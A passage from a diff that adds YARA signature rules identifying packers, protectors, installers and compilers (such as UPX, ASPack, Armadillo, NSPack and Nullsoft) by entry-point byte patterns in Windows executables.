+		description = "Encrypted by? RSCC/286 v1.02"
+	strings:
+		$0 = {FE 52 53 43 43 2F 31 2E 30 32 FE}
+	condition:
+		$0
+}
+rule _NJoy_12__NEX_
+{
+	meta:
+		description = "N-Joy 1.2 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VideoLanClient__UnknownCompiler_
+{
+	meta:
+		description = "Video-Lan-Client -> (UnknownCompiler)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crinkler_V03V04__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B8 00 00 42 00 31 DB 43 EB 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXcrypter__archphaseNWC_
+{
+	meta:
+		description = "UPXcrypter -> archphase/NWC"
+	strings:
+		$0 = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0"
+	strings:
+		$0 = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4 8B 75 0C}
+		$1 = {6A 18 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v260a_
+{
+	meta:
+		description = "Armadillo v2.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v082_
+{
+	meta:
+		description = "aPack v0.82"
+	strings:
+		$0 = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_206_
+{
+	meta:
+		description = "Nullsoft Install System 2.06"
+	strings:
+		$0 = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 02 23 00 00 BE ?? ?? ?? ?? 56}
+	condition:
+		$0
+}
+rule _MSLRH_v01__emadicius_
+{
+	meta:
+		description = "MSLRH v0.1 -> emadicius"
+	strings:
+		$0 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8}
+	condition:
+		$0
+}
+rule _Armadillo_v201_
+{
+	meta:
+		description = "Armadillo v2.01"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1322__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.2.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_LZMA_430__ap0xnbsp_nbsp_Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _HEALTH_v51_by_Muslim_MPolyak_
+{
+	meta:
+		description = "HEALTH v.5.1 by Muslim M.Polyak"
+	strings:
+		$0 = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_V100__BeRo_
+{
+	meta:
+		description = "BeRoEXEPacker V1.00 -> BeRo"
+	strings:
+		$0 = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74}
+	condition:
+		$0
+}
+rule _bambam_V001__bedrock__Sign_by_fly_
+{
+	meta:
+		description = "bambam V0.01 -> bedrock ! Sign by fly"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Hasp_4_envelope_dongle_Alladin_
+{
+	meta:
+		description = "Hasp 4 envelope dongle (Alladin)"
+	strings:
+		$0 = {10 02 D0 51 0F 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_18_
+{
+	meta:
+		description = "Private EXE Protector 1.8"
+	strings:
+		$0 = {BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0}
+	condition:
+		$0
+}
+rule _MSLRH_032a_fake_BJFNT_13__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake .BJFNT 1.3) -> emadicius"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50}
+	condition:
+		$0
+}
+rule _NSPack_3x__Liu_Xing_Ping_
+{
+	meta:
+		description = "NSPack 3.x -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037__v038_Beta_Strip_base_relocation_table_Option__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option) -> Sign by hot_UNP"
+	strings:
+		$0 = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+	condition:
+		$0
+}
+rule _CipherWall_SelfExtratorDecryptor_Console_15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (Console) 1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0
+}
+rule _ASProtect_v10_
+{
+	meta:
+		description = "ASProtect v1.0"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_DLL_
+{
+	meta:
+		description = "Borland C++ DLL"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 8B}
+		$2 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3 8B}
+	condition:
+		$0 or $1 at entrypoint or $2 at entrypoint
+}
+rule _Pohernah_102__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.2 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PackItBitch_V10_archphase__Sign_by_fly_
+{
+	meta:
+		description = "PackItBitch V1.0-> archphase ! Sign by fly"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _ARM_Protector_03__by_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.3 - by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+	condition:
+		$0
+}
+rule _PE_Diminisher_v01_
+{
+	meta:
+		description = "PE Diminisher v0.1"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+		$1 = {5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Nullsoft_Install_System_v1xx_
+{
+	meta:
+		description = "Nullsoft Install System v1.xx"
+	strings:
+		$0 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 56 56 56 89 75 E4 E8 C1 C9 FF FF 8B 1D 68 70 40 00 83 C4 0C 89 45 E8 89 75 F0 6A 02 56 6A FC 57 FF D3 89 45 FC 8D 45 F8 56 50 8D 45 E4 6A 04 50 57 FF 15 48 70 40 00 85 C0 75 07 BB 7C 9E 40 00 EB 7A 56 56 56 57 FF D3 39 75 FC 7E 62 BF 74 A2 40 00 B8 00 10 00 00 39 45 FC 7F 03 8B 45 FC 8D 4D F8 56 51 50 57 FF 75 EC FF 15 48 70 40 00 85 C0 74 5A FF 75 F8 57 FF 75 E8 E8 4D C9 FF FF 89 45 E8 8B 45 F8 29 45 FC 83 C4 0C 39 75 F4 75 11 57 E8 D3 F9 FF FF 85 C0 59 74 06 8B 45 F0 89 45 F4 8B 45 F8 01 45 F0 39 75 FC}
+		$1 = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 80 3E 20 75 07 56 FF D7 8B F0 EB F4 80 3E 2F 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Password_Protector_c_MiniSoft_1992_
+{
+	meta:
+		description = "Password Protector (c) MiniSoft 1992"
+	strings:
+		$0 = {06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__needs_to_be_added_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - needs to be added"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+		$1 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+		$2 = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+	condition:
+		$0 or $1 or $2
+}
+rule _EXE32Pack_v13x_
+{
+	meta:
+		description = "EXE32Pack v1.3x"
+	strings:
+		$0 = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V3035V3043__Thinstall_Company__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.035-V3.043 -> Thinstall Company ! Sign by fly"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Installer_VISE_Custom_
+{
+	meta:
+		description = "Installer VISE Custom"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v10_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.0"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_32Lite_003__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [32Lite 0.03] -> Anorganix"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09782_
+{
+	meta:
+		description = "PECompact v0.978.2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_13B__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.3B -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF}
+		$1 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v105b_
+{
+	meta:
+		description = "ASPack v1.05b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXFreak_01_Borland_Delphi__HMX0101_
+{
+	meta:
+		description = "UPXFreak 0.1 (Borland Delphi) -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _AverCryptor_10__os1r1s_
+{
+	meta:
+		description = "AverCryptor 1.0 -> os1r1s"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_1304__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.304 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+	condition:
+		$0
+}
+rule _NsPack_V14__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.4 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEShit_
+{
+	meta:
+		description = "PEShit"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_Cryptor_13RC__Tom_Commander_
+{
+	meta:
+		description = "ExeShield Cryptor 1.3RC -> Tom Commander"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_FSG_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.31] -> Anorganix"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_200_Win32_
+{
+	meta:
+		description = "FreePascal 2.0.0 Win32"
+	strings:
